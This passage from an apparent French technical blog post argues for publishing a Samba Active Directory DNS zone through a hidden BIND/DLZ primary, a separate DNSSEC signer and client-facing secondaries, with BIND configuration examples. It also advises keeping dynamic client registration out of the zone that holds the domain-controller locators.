seule : ça met un service non authentifié, exposé-à-l\u0026rsquo;internet-par-accident, lourd en analyse, dans le même processus que votre annuaire, pour faire un travail dont il est documenté qu\u0026rsquo;il ne peut pas le faire correctement.\nIl tombera plus tôt, et emportera plus avec lui Il vaut la peine d\u0026rsquo;être clair sur ce que cet argument n\u0026rsquo;est pas. Ce n\u0026rsquo;est pas une affirmation que le code DNS de Samba a plus de bugs que celui de BIND. BIND a une longue liste de CVE, surtout parce que c\u0026rsquo;est l\u0026rsquo;implémentation DNS la plus examinée qui existe, et compter les avis serait une piètre façon de choisir entre eux.\nLa comparaison qui compte est structurelle, et elle se ramène à trois questions avec trois réponses inconfortables.\nQui peut lui envoyer un paquet malformé ? Avec SAMBA_INTERNAL qui sert le parc : chaque poste, chaque téléphone sur le sans-fil, tout ce qui peut router jusqu\u0026rsquo;au port 53 de cette machine. Avec la conception de ce billet : le signeur. Un hôte, une clé TSIG, allow-query limité à lui. Ce n\u0026rsquo;est pas une petite différence de degré. C\u0026rsquo;est la différence entre un service exposé et un effectivement injoignable, et elle éclipse toute différence de qualité de code entre les deux implémentations.\nQu\u0026rsquo;est-ce qui tombe quand il tombe ? C\u0026rsquo;est celle qui décide de la gravité. named est un démon séparé sous son propre compte ; quand il meurt, le DNS s\u0026rsquo;arrête et le contrôleur de domaine continue d\u0026rsquo;authentifier. Le DNS interne de Samba est une tâche de service dans le DC AD, donc tout ce qui le coince, l\u0026rsquo;épuise ou le fait planter se passe à l\u0026rsquo;intérieur du processus qui sert LDAP et Kerberos. Un problème de DNS devient une panne d\u0026rsquo;annuaire. Et systemctl restart named coûte une seconde, alors que redémarrer un DC est un autre genre de matinée.\nQue pouvez-vous y faire pendant que ça arrive ? BIND a la limitation de débit des réponses, allow-query, allow-recursion, blackhole, la politique par vue, et l\u0026rsquo;option de ne pas répondre aux clients du tout. Le serveur interne a dns forwarder et un fichier de journal. Quand quelque chose se met à le marteler, il n\u0026rsquo;y a pas de molette à tourner.\nAjoutez ensuite le cache manquant. Chaque requête client est un aller-retour sortant neuf, donc un déluge de requêtes coûte au DC une recherche amont par paquet plutôt qu\u0026rsquo;un accès cache — et ça lui coûte dans le même processus qui essaie d\u0026rsquo;émettre des tickets Kerberos. Vous n\u0026rsquo;avez pas besoin d\u0026rsquo;un exploit pour ça ; vous avez besoin d\u0026rsquo;une matinée chargée, d\u0026rsquo;une application qui se conduit mal, ou de quelqu\u0026rsquo;un qui pointe un scanner sur le mauvais VLAN. Soutenu, ça se présente comme une authentification lente et personne ne pense à regarder le DNS.\nAlors oui — même avec DLZ dans le tableau, BIND est l\u0026rsquo;endroit le plus sûr pour ça. Le module DLZ donne bien à named accès aux données de Samba, et c\u0026rsquo;est une vraie considération dont ce billet a déjà tenu à faire un point. Mais un plantage de named est une panne de DNS plutôt qu\u0026rsquo;une panne d\u0026rsquo;annuaire, et dans cette conception ce named ne prend pas de requêtes du parc au départ. Les bugs sont un fait de toute base de code. Le périmètre d\u0026rsquo;impact et la joignabilité sont des choses que vous choisissez.\nEt il ne peut pas bâtir la conception de ce billet Il y a une raison plus simple et plus définitive pour laquelle ce n\u0026rsquo;est pas le backend ici.\nPas de transferts de zone. La pipeline de la section suivante — primaire caché, signeur, serveurs autoritatifs autonomes — commence par un AXFR sortant du DC. SAMBA_INTERNAL n\u0026rsquo;a rien pour transférer. Pas de TSIG non plus, donc même l\u0026rsquo;authentification dont ce transfert aurait besoin est absente. Et pas de signature, et pas de validation de quoi que ce soit qu\u0026rsquo;il transite.\nDonc le résumé honnête de SAMBA_INTERNAL : c\u0026rsquo;est le backend qui vous laisse monter un domaine AD dans un labo un dimanche après-midi sans configurer BIND, et il est très bon à ça. Samba dit « installations DNS simples » et le pense. Ce n\u0026rsquo;est pas un résolveur, il n\u0026rsquo;a jamais été bâti pour être le service DNS d\u0026rsquo;un parc, et à la seconde où vous voulez de la signature, des transferts, des vues, des ACL, du cache ou de la limitation de débit, la réponse n\u0026rsquo;est pas de le régler. Il n\u0026rsquo;a pas ces molettes. La réponse est BIND.\nSi vous le faites tourner aujourd\u0026rsquo;hui avec chaque client pointé vers le DC, le correctif n\u0026rsquo;est pas urgent mais il n\u0026rsquo;est pas facultatif non plus : donnez aux clients un vrai résolveur validant, et posez dns forwarder sur le DC pour qu\u0026rsquo;il pointe vers lui, si bien que le DC répond pour ses propres zones et rien d\u0026rsquo;autre.\nEt voici la partie sur laquelle je veux être clair, parce que « n\u0026rsquo;utilisez pas DLZ » est répété comme si c\u0026rsquo;était une règle de durcissement : DLZ n\u0026rsquo;est pas l\u0026rsquo;exposition. C\u0026rsquo;est le mécanisme d\u0026rsquo;extraction. Ce qui compte n\u0026rsquo;est pas quel module est chargé dans BIND — c\u0026rsquo;est qui a le droit de parler à ce BIND, et ce qu\u0026rsquo;il advient de la zone ensuite. Un BIND adossé à DLZ qui ne répond qu\u0026rsquo;à une demande de transfert de votre signeur n\u0026rsquo;est pas une surface d\u0026rsquo;attaque en un sens intéressant. Un DC SAMBA_INTERNAL qui traite chaque recherche de nom de quatre cents portables l\u0026rsquo;est très certainement. Une seule de ces deux choses apparaît sur les listes de durcissement, et ce n\u0026rsquo;est pas celle qui compte.\nDeux choses à propos de DLZ sont vraies et méritent qu\u0026rsquo;on les planifie plutôt qu\u0026rsquo;on les craigne :\nLe module est couplé à la version de BIND. Samba livre un .so séparé par version de BIND, et named.conf en nomme un précisément. Une montée de version majeure de BIND veut dire que le module correspondant doit être en place, sinon named ne démarre pas. C\u0026rsquo;est une dépendance d\u0026rsquo;empaquetage à tester d\u0026rsquo;avance, pas une propriété de sécurité. named a besoin d\u0026rsquo;accès aux données de Samba, ce qui est pourquoi Samba garde un répertoire dédié pour les bits dont BIND a besoin plutôt que de lui accorder tout le répertoire privé. L\u0026rsquo;octroi est censé être étroit — à vérifier qu\u0026rsquo;il l\u0026rsquo;est encore sur vos DC, puisque c\u0026rsquo;est le seul endroit où DLZ élargit ce qu\u0026rsquo;une compromission de named atteindrait. La raison pour laquelle DLZ est le bon choix ici est ce qu\u0026rsquo;il permet : l\u0026rsquo;interface DLZ de BIND supporte l\u0026rsquo;énumération d\u0026rsquo;une zone entière, ce qui est ce qui rend possible, tout court, un transfert de zone sortant d\u0026rsquo;une zone adossée à DLZ. Ce transfert est le premier saut de la pipeline, et c\u0026rsquo;est BIND qui le fait, ce qui veut dire que le reste de la pipeline est de la configuration BIND ordinaire plutôt que quoi que ce soit d\u0026rsquo;exotique.\nIl y a une contrainte qui façonne tout ce qui est en aval, et il vaut la peine de l\u0026rsquo;énoncer clairement parce qu\u0026rsquo;il est facile de supposer le contraire. Une zone DLZ ne peut pas être signée elle-même. L\u0026rsquo;ISC est explicite là-dessus dans le BIND ARM : DLZ « is unable to handle DNSSEC-signed data due to its limited API » — est incapable de gérer des données signées par DNSSEC à cause de son API limitée. Vous ne pouvez pas accrocher une dnssec-policy à l\u0026rsquo;instruction dlz et en avoir fini.\nCe que vous pouvez faire — et ce que l\u0026rsquo;ISC suggère pour DLZ dans la même respiration — est de le faire tourner comme un primaire caché, avec la signature faite par une zone BIND normale qui transfère les données en entrée. C\u0026rsquo;est la section suivante, et la contrainte est la raison de la forme qu\u0026rsquo;elle a.\nIl vaut la peine de savoir que c\u0026rsquo;est une contrainte de Samba plutôt qu\u0026rsquo;une loi d\u0026rsquo;Active Directory. Le serveur DNS de Microsoft fait de la signature en ligne de zones dynamiques intégrées à AD depuis Windows Server 2012. La zone est signée en place, les clés privées se répliquent vers les Key Masters par la réplication AD elle-même, et les mises à jour dynamiques continuent de marcher. Sur Windows, « signer les partitions AD » est une vraie option et la réponse à l\u0026rsquo;objection du churn est intégrée. (Sur Server 2008 R2 elle ne l\u0026rsquo;était pas : vous pouviez signer une zone intégrée à AD, mais pas une acceptant des mises à jour dynamiques, et chaque changement voulait dire re-signer à la main — d\u0026rsquo;où vient le folklore selon lequel les zones AD ne seraient pas signables.)\nSamba n\u0026rsquo;a pas d\u0026rsquo;équivalent. Aucun backend ne signe : le serveur interne n\u0026rsquo;a aucun DNSSEC, et DLZ ne peut pas porter de données signées. Donc sur Samba la pipeline transfert-et-signature n\u0026rsquo;est pas une conception parmi plusieurs. C\u0026rsquo;est la voie.\nLa pipeline de publication Maintenant sa forme. Quatre rôles, et le DC est au fond où rien ne peut l\u0026rsquo;atteindre.\nPublier une zone Active Directory depuis un contrôleur de domaine primaire caché Contrôleur de domaine \u0026#8212; primaire caché BIND avec dlz_bind9, autoritatif depuis l'annuaire récursion coupée \u0026#183; transferts au signeur seul, TSIG L'hôte de l'annuaire ne prend aucune question. La machine de plus grande valeur du parc n'est pas joignable par les machines qui dépendent d'elle. AXFR sur le rafraîchissement SOA un sondage \u0026#8212; DLZ ne peut pas notifier Instance de signature \u0026#8212; secondaire normal transfère la zone en entrée et la sert signée un second named sur le DC, ou son propre hôte La zone DLZ ne peut pas être signée elle-même. Donc la signature est un secondaire normal qui détient la copie \u0026#8212; et avec les clients hors de la zone, il n'y a pas de churn. transfert sortant la zone signée Serveurs autoritatifs simples secondaires de la zone signée aucune clé, aucune route vers l'annuaire Une compromission obtient une copie, pas une contrefaçon. Sans clé sur les serveurs qui font face au parc, aucun nouvel enregistrement ne peut être fait qui validera. requêtes répondues avec signatures Résolveurs validants ce vers quoi pointe le resolv.conf des clients zones internes transitées, arbre public parcouru La validation a lieu à côté du client. La chaîne remonte au point d'ancrage de la racine, parce que la zone interne est une délégation dans une zone publique. pas de DNS face aux clients sur le DC La publication va dans un sens, de l'annuaire vers l'extérieur. Rien de ce qu'un client envoie n'arrive jamais en haut. Le DC est un primaire caché : il sert la zone AD par transfert et ne répond à rien d\u0026rsquo;autre. L\u0026rsquo;instance de signature est une zone secondaire ordinaire qui détient la copie transférée — la zone DLZ elle-même ne peut pas être signée, donc la signature a toujours lieu un saut plus loin, que ce saut soit un second named sur le DC ou un hôte séparé. Les serveurs autoritatifs autonomes sont la seule chose que les clients voient jamais, et ce sont des secondaires de la zone signée. 1. Le contrôleur de domaine — primaire caché. BIND avec dlz_bind9, autoritatif pour les zones AD depuis l\u0026rsquo;annuaire. Récursion coupée. Aucun service face aux clients. allow-transfer restreint au seul signeur, avec TSIG. Du point de vue du réseau, le DC ne sert pas de DNS du tout, et la seule chose qui l\u0026rsquo;interroge jamais est la boîte suivante.\n2. L\u0026rsquo;instance de signature — une zone BIND normale qui transfère les données en entrée. C\u0026rsquo;est là que vivent inline-signing et la dnssec-policy, sur une zone du même nom qui détient la copie transférée. BIND garde la copie non signée qu\u0026rsquo;il a reçue et la copie signée qu\u0026rsquo;il publie comme des choses distinctes, et re-signe à mesure que de nouveaux transferts arrivent. Parce que c\u0026rsquo;est un transfert plutôt qu\u0026rsquo;un fichier partagé, cette instance peut siéger sur le DC lui-même — un second named sur sa propre adresse — ou sur un hôte séparé, et la configuration est presque identique dans les deux cas.\nLe compromis est celui qu\u0026rsquo;il paraît : sur le DC c\u0026rsquo;est une machine de moins à faire tourner, tandis qu\u0026rsquo;un hôte séparé garde les clés privées hors de la boîte qui détient l\u0026rsquo;annuaire. Les deux sont défendables, et le choix ne change rien d\u0026rsquo;autre dans la pipeline. Ce qui compte est que la signature ait lieu une fois, à un point défini, sous une politique de clés — la différence entre du DNSSEC que vous exploitez et du DNSSEC qui expire à trois heures du matin.\n3. Les serveurs autoritatifs — la seule chose que les clients voient. De simples secondaires de la zone signée. Ils ne détiennent aucune clé, ne font aucune signature, et n\u0026rsquo;ont aucun chemin vers l\u0026rsquo;annuaire. Si l\u0026rsquo;un est compromis, l\u0026rsquo;attaquant a une copie d\u0026rsquo;une zone et aucune capacité de forger un nouvel enregistrement qui validera.\n4. Les résolveurs. Des résolveurs récursifs validants pour le parc, qui transitent conditionnellement les zones internes vers ces serveurs autoritatifs et parcourent l\u0026rsquo;arbre public pour tout le reste. C\u0026rsquo;est vers eux que pointe le resolv.conf des clients.\nDeux propriétés découlent de cet arrangement et méritent d\u0026rsquo;être énoncées à part, parce qu\u0026rsquo;elles sont tout le propos :\nLa machine qui détient l\u0026rsquo;annuaire n\u0026rsquo;est pas joignable par les machines qui l\u0026rsquo;utilisent. Un contrôleur de domaine est l\u0026rsquo;hôte de plus grande valeur du parc. Lui donner un service réseau face aux clients — un qui répond à de l\u0026rsquo;UDP non authentifié de n\u0026rsquo;importe quel poste — est un mauvais échange pour un service que d\u0026rsquo;autres machines peuvent rendre. La signature a lieu une fois, à un point défini. L\u0026rsquo;objection habituelle à signer une zone AD est le churn — que le contenu change trop souvent pour que les signatures suivent. Cette objection est en réalité une objection à la disposition par défaut, pas à la signature. Avec l\u0026rsquo;enregistrement des clients sorti, comme la section suivante soutient qu\u0026rsquo;il doit l\u0026rsquo;être, la zone AD change quand un contrôleur de domaine est promu ou rétrogradé et à peu près jamais autrement. Une zone écrite seulement par les DC est une zone stable, et une zone stable est une chose banale à signer. Garder les clients dehors n\u0026rsquo;est pas seulement un contrôle de sécurité ; c\u0026rsquo;est ce qui rend la zone assez tranquille pour être signée proprement. Comment la signature est réellement câblée La forme ci-dessus est la partie importante, mais « une zone BIND normale qui transfère les données en entrée » mérite d\u0026rsquo;être montrée plutôt que décrite, parce que la première tentative échoue d\u0026rsquo;habitude à vouloir signer le DLZ directement.\nSur le DC, le côté DLZ reste délibérément ennuyeux. Il sert l\u0026rsquo;annuaire, il remet la zone à exactement un pair, et il ne fait rien d\u0026rsquo;autre :\nkey \u0026#34;transfer-to-signer\u0026#34; { algorithm hmac-sha256; secret \u0026#34;...\u0026#34;; }; options { recursion no; allow-query { key transfer-to-signer; localhost; }; allow-transfer { key transfer-to-signer; }; notify no; }; dlz \u0026#34;AD DNS Zone\u0026#34; { database \u0026#34;dlopen /usr/lib64/samba/bind9/dlz_bind9_18.so\u0026#34;; }; Notez que le .so porte la version majeure de BIND dans son nom. C\u0026rsquo;est le couplage de version de la section précédente rendu concret — une montée de version de BIND a besoin du module Samba correspondant en place avant que named ne démarre.\nCôté signature, la zone est un secondaire ordinaire avec les options de signature attachées. C\u0026rsquo;est la partie qui ne peut pas vivre sur le DLZ :\ndnssec-policy \u0026#34;ad-internal\u0026#34; { keys { ksk lifetime P365D algorithm ecdsa256; zsk lifetime P90D algorithm ecdsa256; }; }; zone \u0026#34;ad.example.com\u0026#34; { type secondary; primaries { 192.0.2.10 key transfer-to-signer; }; file \u0026#34;ad.example.com.axfr\u0026#34;; inline-signing yes; dnssec-policy \u0026#34;ad-internal\u0026#34;; allow-transfer { key transfer-to-public; }; also-notify { 192.0.2.20; 192.0.2.21; }; }; Que ça marche sur un secondaire est le détail porteur, et l\u0026rsquo;ARM l\u0026rsquo;énonce directement :\nIf yes, BIND 9 maintains a separate signed version of the zone. An unsigned zone is transferred in or loaded from disk and the signed version of the zone is served with, possibly, a different serial number.\nDonc BIND garde deux copies — la non signée qu\u0026rsquo;il a reçue, écrite dans file, et la signée qu\u0026rsquo;il sert, écrite à côté avec une extension .signed. Un transfert arrive, la version signée est régénérée, et les serveurs en aval reçoivent un notify, parce qu\u0026rsquo;à ce stade c\u0026rsquo;est une zone entièrement ordinaire. inline-signing yes est en fait la valeur par défaut une fois qu\u0026rsquo;une dnssec-policy est attachée ; il est écrit ci-dessus parce qu\u0026rsquo;une config qui dit ce qu\u0026rsquo;elle fait vaut la ligne.\nLe renouvellement des clés vient avec la politique plutôt qu\u0026rsquo;avec une tâche cron. Les rotations de ZSK ne demandent aucune intervention ; les rotations de KSK demandent que le nouveau DS arrive au parent, ce qui est l\u0026rsquo;automatisation CDS/CDNSKEY de plus loin dans ce billet. rndc dnssec -status ad.example.com vous dit où en est chaque clé dans sa durée de vie.\nQue ce bloc tourne sur le DC ou sur son propre hôte est une question de quelle adresse primaries pointe. Sur le DC c\u0026rsquo;est une seconde instance named sur une seconde adresse, transférant depuis la première par le bouclage ou une interface d\u0026rsquo;administration. C\u0026rsquo;est ce que « BIND avec DLZ peut être le signeur » veut dire en pratique : même logiciel, même boîte si vous voulez, mais la signature a lieu sur la copie transférée plutôt que sur la zone DLZ.\nLe seul accroc opérationnel est le notify — et il est du côté DLZ. Le manuel de l\u0026rsquo;ISC est franc : DLZ « has no built-in support for DNS notify » — n\u0026rsquo;a aucun support intégré du notify DNS, donc les serveurs secondaires ne sont pas automatiquement informés des changements des zones de la base. Samba peut changer un enregistrement dans l\u0026rsquo;annuaire et l\u0026rsquo;instance DLZ n\u0026rsquo;a aucune idée qu\u0026rsquo;elle devrait le dire à quiconque.\nDonc le premier saut est un sondage, pas une poussée. Le signeur se rafraîchit sur le minuteur SOA de la zone qu\u0026rsquo;il transfère, ce qui veut dire :\nLa propagation d\u0026rsquo;un changement du DC vers un enregistrement signé et publié est bornée par cet intervalle de rafraîchissement, pas par des secondes. Promouvez un DC et ses nouveaux enregistrements _msdcs apparaissent en aval jusqu\u0026rsquo;à un rafraîchissement plus tard. Cet intervalle est la molette à tourner si le délai compte. C\u0026rsquo;est un compromis avec la fréquence à laquelle vous voulez que le DLZ soit interrogé, ce qui amène l\u0026rsquo;autre chose que l\u0026rsquo;ISC dit de DLZ : il fait des recherches en base en temps réel sans cache et est « not recommended for use on high-volume servers » — non recommandé sur des serveurs à fort volume. Ces deux points sont des arguments pour cette topologie plutôt que contre. Le seul client que l\u0026rsquo;instance DLZ a jamais est le signeur, qui demande une fois par rafraîchissement. La charge de requêtes réelle du parc atterrit sur les serveurs autoritatifs autonomes, qui servent un fichier de zone signé ordinaire à pleine vitesse. Tout en aval du signeur est conventionnel : les serveurs autoritatifs sont des secondaires de la zone signée, ils reçoivent un notify en règle, et ils ne touchent jamais à l\u0026rsquo;annuaire ni à une clé.\nLes clients ne doivent pas écrire la zone qui porte les locators C\u0026rsquo;est la plus importante, et c\u0026rsquo;est une règle de conception plutôt qu\u0026rsquo;un réglage.\nActive Directory enregistre les enregistrements dynamiquement. Une machine se joint, et elle s\u0026rsquo;enregistre elle-même ; un DC démarre, et il enregistre les SRV qui annoncent ses services. « Sécurisée », la mise à jour dynamique veut dire que ces mises à jour sont authentifiées — la machine prouve qui elle prétend être avec ses propres identifiants, et il y a une ACL par enregistrement pour qu\u0026rsquo;une machine ne puisse généralement modifier qu\u0026rsquo;un enregistrement qu\u0026rsquo;elle a créé.\nLisez ça attentivement, parce que la garantie est plus étroite qu\u0026rsquo;il n\u0026rsquo;y paraît d\u0026rsquo;abord. La mise à jour dynamique sécurisée authentifie qui écrit. Elle n\u0026rsquo;évalue pas ce que l\u0026rsquo;enregistrement veut dire. Et l\u0026rsquo;ensemble des comptes habilités à écrire est bien plus large qu\u0026rsquo;on ne le suppose : dans une zone intégrée à AD par défaut, le groupe Utilisateurs authentifiés détient Créer tous les objets enfants sur le conteneur de zone dans l\u0026rsquo;annuaire, parce que l\u0026rsquo;ADIDNS stocke chaque enregistrement comme un objet AD sous CN=MicrosoftDNS,DC=DomainDnsZones. Pas seulement les comptes machine — n\u0026rsquo;importe quel compte authentifié du domaine, y compris celui de qui a ouvert la pièce jointe de la facture ce matin.\nCe qui produit deux modes de défaillance dans une zone qui détient à la fois les enregistrements des clients et les locators de service :\nLes noms qui n\u0026rsquo;existent pas encore n\u0026rsquo;appartiennent à personne. Les ACL par enregistrement protègent un enregistrement qui a déjà un propriétaire. Un nom qui n\u0026rsquo;a jamais été enregistré n\u0026rsquo;a aucun objet sur lequel faire respecter une ACL, donc le premier compte à le créer l\u0026rsquo;obtient. C\u0026rsquo;est le mécanisme derrière toute la famille des attaques ADIDNS, la plus tranchante étant un joker : créez * et chaque nom de la zone que personne n\u0026rsquo;a explicitement revendiqué — fautes de frappe, hôtes déclassés, wpad — résout vers l\u0026rsquo;attaquant. Les enregistrements existants ne sont pas touchés, ce qui est justement pourquoi ça passe inaperçu.\nLe périmètre d\u0026rsquo;impact inclut les locators. Les enregistrements sous _msdcs sont la façon dont chaque client du domaine trouve un contrôleur de domaine et un KDC. Ce sont les enregistrements les plus critiques pour la sécurité que vous possédiez, et dans un déploiement par défaut ils siègent dans la même zone que quatre cents portables écrivent chaque fois qu\u0026rsquo;ils obtiennent un bail DHCP.\nQui peut écrire quelle zone : une zone combinée face à une séparation par rédacteur Défaut \u0026#8212; une seule zone ad.example.com locators et enregistrements des clients ensemble _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A laptop-042 A * A \u0026#8592; non revendiqué un nom que personne n'a enregistré n'a aucune ACL à faire respecter chaque machine jointe peut tout écrire Un compte machine compromis peut réécrire les enregistrements qui localisent un contrôleur de domaine. Séparé par qui écrit ad.example.com \u0026#8212; DC seulement aucun client n'a de chemin de mise à jour vers cette zone _ldap._tcp.dc._msdcs. SRV _kerberos._udp SRV dc01 A délégation NS dyn.ad.example.com ou une zone Samba séparée avec sa propre ACL laptop-042 A chaque machine jointe peut écrire aucun chemin vers les locators Qui peut écrire quoi. À gauche, une seule zone, et chaque machine jointe est un rédacteur autorisé dans la zone qui porte les locators de DC. À droite, la zone AD n\u0026rsquo;est écrite que par les DC, et les enregistrements des clients atterrissent dans une sous-zone distincte où le pire qu\u0026rsquo;une machine compromise puisse faire est de mentir sur elle-même. Donc la règle : la zone qui porte les locators est écrite par les contrôleurs de domaine, et par rien d\u0026rsquo;autre. L\u0026rsquo;enregistrement dynamique des clients va ailleurs.\nAilleurs peut être l\u0026rsquo;une de deux choses, et les deux vont bien :\nUne sous-zone déléguée servie ailleurs. La zone AD détient une délégation NS pour, disons, dyn.ad.example.com, et les enregistrements atterrissent sur un serveur séparé qui accepte les mises à jour. Les partitions de Samba ne prennent jamais aucune écriture de client. Une zone séparée dans Samba avec sa propre ACL de mise à jour. Toujours dans l\u0026rsquo;annuaire, mais sa propre zone, si bien qu\u0026rsquo;une écriture de client n\u0026rsquo;a aucun chemin vers _msdcs ni vers les enregistrements propres d\u0026rsquo;un DC. Le premier donne la séparation la plus dure ; le second est moins à faire tourner. Ce qui échoue à la règle n\u0026rsquo;est ni l\u0026rsquo;un ni l\u0026rsquo;autre. C\u0026rsquo;est le défaut, où les deux vivent ensemble. Ce qui est la façon dont la plupart des domaines tournent encore, parce que personne ne l\u0026rsquo;a choisie et personne n\u0026rsquo;est revenu regarder.\nEt il y a un second dividende, celui qui rattache ça à la pipeline. Une zone que seuls les contrôleurs de domaine écrivent est une zone qui ne change presque jamais : une promotion de DC, une rétrogradation de DC, et sinon le silence. Tout le churn d\u0026rsquo;une zone AD par défaut est de l\u0026rsquo;enregistrement de client. Retirez-le et l\u0026rsquo;objection à signer les partitions AD s\u0026rsquo;en va avec — il n\u0026rsquo;y a pas de flux de mises à jour à poursuivre pour les signatures, donc la signer est routinier plutôt qu\u0026rsquo;un combat. La discipline d\u0026rsquo;écriture et la signature sont la même décision vue deux fois.\nÀ côté de l\u0026rsquo;une ou l\u0026rsquo;autre, il y a une permission à aller regarder — et sur un DC Microsoft c\u0026rsquo;est le correctif direct. Parce que les enregistrements ADIDNS sont des objets d\u0026rsquo;annuaire, l\u0026rsquo;habilitation vient d\u0026rsquo;une ACL AD plutôt que de quoi que ce soit dans le protocole DNS : Utilisateurs authentifiés détenant Créer tous les objets enfants sur le conteneur de zone. Resserrer ça est l\u0026rsquo;atténuation la plus propre pour le problème du nom non revendiqué et du joker, et dans bien des parcs la permission peut être retirée purement et simplement une fois que vous savez ce qui a réellement besoin de s\u0026rsquo;auto-enregistrer. Le DNS AD de Samba stocke ses enregistrements dans l\u0026rsquo;annuaire de la même façon, donc la même question s\u0026rsquo;applique — allez voir ce que votre conteneur de zone accorde réellement.\nMais attendez — les clients devraient-ils même s\u0026rsquo;enregistrer en 2026 ? Tout ce qui précède suppose que la mise à jour dynamique des clients est une chose dont vous avez besoin et que vous essayez de rendre sûre. Avant d\u0026rsquo;accepter ça, il vaut la peine de poser la question que personne ne pose, parce que la réponse a changé depuis que ce comportement a été conçu.\nL\u0026rsquo;enregistrement DNS dynamique a été bâti pour un poste de bureau. Une boîte sous un bureau, un câble réseau, une adresse qu\u0026rsquo;elle gardait des années. Dans ce monde-là, une machine qui enregistrait son propre nom était propre et globalement vraie.\nRegardez maintenant ce qu\u0026rsquo;est un client en 2026. Il se réveille sur le wifi de la maison. Il arrive au bureau et rejoint le sans-fil de l\u0026rsquo;entreprise. Il entre dans une station d\u0026rsquo;accueil et prend une adresse filaire en plus. Quelqu\u0026rsquo;un démarre le VPN et un adaptateur de tunnel apparaît avec une troisième adresse. Il va au café, se connecte par un téléphone, et le VPN revient sur une quatrième. C\u0026rsquo;est une machine, un nom, et une demi-douzaine d\u0026rsquo;adresses dans une journée de travail — et par défaut elle va essayer d\u0026rsquo;en enregistrer un bon nombre.\nDonc la zone se remplit de revendications qui étaient vraies une fois.\nWindows enregistre chaque adaptateur qu\u0026rsquo;il a, à moins que quelqu\u0026rsquo;un ne soit passé décocher Enregistrer les adresses de cette connexion dans DNS par interface. Un portable en station d\u0026rsquo;accueil sur le VPN est une machine avec trois adaptateurs actifs et un avis sur tous. Plusieurs enregistrements A pour un nom n\u0026rsquo;est pas un état d\u0026rsquo;erreur, c\u0026rsquo;est le résultat normal. Une recherche les renvoie tous, les clients les essaient dans l\u0026rsquo;ordre qui leur chante, et les connexions à ce nom échouent en proportion du nombre d\u0026rsquo;adresses mortes. C\u0026rsquo;est le mécanisme derrière « le support à distance voit la machine une minute et plus la suivante ». Les adresses VPN sont les pires, parce qu\u0026rsquo;une adresse de tunnel est valide une heure et que l\u0026rsquo;enregistrement survit à l\u0026rsquo;adresse. Le tunnel tombe, l\u0026rsquo;adresse du pool va à quelqu\u0026rsquo;un d\u0026rsquo;autre, et le nom pointe maintenant vers un collègue. Les stations d\u0026rsquo;accueil brouillent l\u0026rsquo;identité elle-même. Sauf si le passthrough d\u0026rsquo;adresse MAC est configuré, le bail appartient à la station plutôt qu\u0026rsquo;au portable, si bien qu\u0026rsquo;un parc en bureaux partagés a des noms, des baux et des machines qui dérivent les uns des autres chaque jour. Et la propriété rend ça permanent. Un enregistrement ne peut être mis à jour que par le compte qui l\u0026rsquo;a créé. Quand un enregistrement a été fait par DHCP sous un identifiant et que la machine essaie plus tard de le mettre à jour sous le sien, la mise à jour échoue, en silence, et l\u0026rsquo;adresse périmée reste exactement où elle est. L\u0026rsquo;histoire du nettoyage n\u0026rsquo;est pas non plus le sauvetage qu\u0026rsquo;elle semble. Samba a le nettoyage depuis la 4.9, mais il est coupé par défaut (dns zone scavenging = yes, avec samba-tool dns zoneoptions --aging=1), et Samba lui-même dit qu\u0026rsquo;il « should only be enabled on new zones or new installations » — ne devrait être activé que sur des zones neuves ou des installations neuves, parce que les versions plus anciennes marquaient les enregistrements dynamiques comme statiques et les statiques comme dynamiques. Sur les parcs les plus susceptibles d\u0026rsquo;être pleins de déchets — ceux qui tournent depuis des années — l\u0026rsquo;outil pour les nettoyer est celui qu\u0026rsquo;on vous conseille de ne pas activer. Il a aussi eu sa propre CVE.\nAlors posez la question directement : qu\u0026rsquo;est-ce qui consomme réellement l\u0026rsquo;enregistrement A d\u0026rsquo;un portable ?\nDans la plupart des maisons, très peu. Les utilisateurs se connectent à des serveurs ; les serveurs ne se connectent pas à des portables. Les vrais consommateurs sont les outils de support à distance, le RDP vers un poste nommé, et l\u0026rsquo;inventaire ou la supervision — et presque tout cet outillage maintient son propre inventaire et travaille à partir d\u0026rsquo;un agent qui se signale, parce qu\u0026rsquo;il n\u0026rsquo;a jamais pu compter sur le DNS pour des clients mobiles au départ.\nCe qui suggère d\u0026rsquo;inverser le défaut :\nLes serveurs et l\u0026rsquo;infrastructure obtiennent leurs enregistrements du provisionnement. Avec NetBox et Ansible déjà dans le tableau, l\u0026rsquo;enregistrement est créé par la même chose qui a créé la machine, il est correct par construction, et il est retiré quand la machine l\u0026rsquo;est. Le parc filaire stable peut prendre des enregistrements de DHCP si quelque chose en a réellement besoin, avec un seul identifiant qui les possède pour que les mises à jour n\u0026rsquo;échouent pas. Les clients mobiles n\u0026rsquo;enregistrent rien du tout. Ils sont consommateurs de DNS, pas éditeurs. Si quelque chose a besoin d\u0026rsquo;atteindre un portable, il lui faut un agent, pas un enregistrement A. Vous finissez au même endroit que l\u0026rsquo;argument de sécurité vous a mis, depuis une direction complètement différente. Moins de rédacteurs veut dire une surface ADIDNS plus petite, une zone qui n\u0026rsquo;est pas pleine de revendications expirées, et — retour à la pipeline — une zone assez tranquille pour être signée sans y penser.\nL\u0026rsquo;argument de sécurité dit que les clients ne doivent pas écrire la zone qui porte les locators. L\u0026rsquo;argument opérationnel demande pourquoi ils écrivent du DNS tout court. En 2026, pour une flotte qui change d\u0026rsquo;adresse cinq fois par jour, « ils ne le font pas » est une réponse parfaitement bonne, et considérablement moins de travail que de rendre leur bazar sûr.\nVues séparées, et d\u0026rsquo;où vient la confiance La dernière pièce noue les deux moitiés du billet ensemble.\nIl y a deux vues de l\u0026rsquo;espace de noms. Une zone publique, publiée sur l\u0026rsquo;internet, détenant la poignée de noms dont le monde a besoin. Et une vue interne — le contenu dérivé d\u0026rsquo;AD, chaque hôte joint, chaque locator de service, la topologie des sites — que le monde n\u0026rsquo;a aucune raison de voir. Ce contenu est une carte du parc, et il devrait être injoignable et intransférable depuis l\u0026rsquo;extérieur.\nMais la confiance pour la vue interne vient du côté public, et c\u0026rsquo;est ce qui rend cette conception meilleure que l\u0026rsquo;île de DNS interne habituelle :\nexample.com est public et signé, avec son DS dans le parent et une chaîne jusqu\u0026rsquo;à la racine. ad.example.com en est délégué. Le parent public publie la délégation et un DS pour la clé de la zone interne. Les serveurs autoritatifs internes servent le ad.example.com signé. Les résolveurs internes le valident — racine → com → example.com → ad.example.com — en n\u0026rsquo;utilisant rien d\u0026rsquo;autre que le point d\u0026rsquo;ancrage de confiance de la racine qu\u0026rsquo;ils avaient déjà. Pas de point 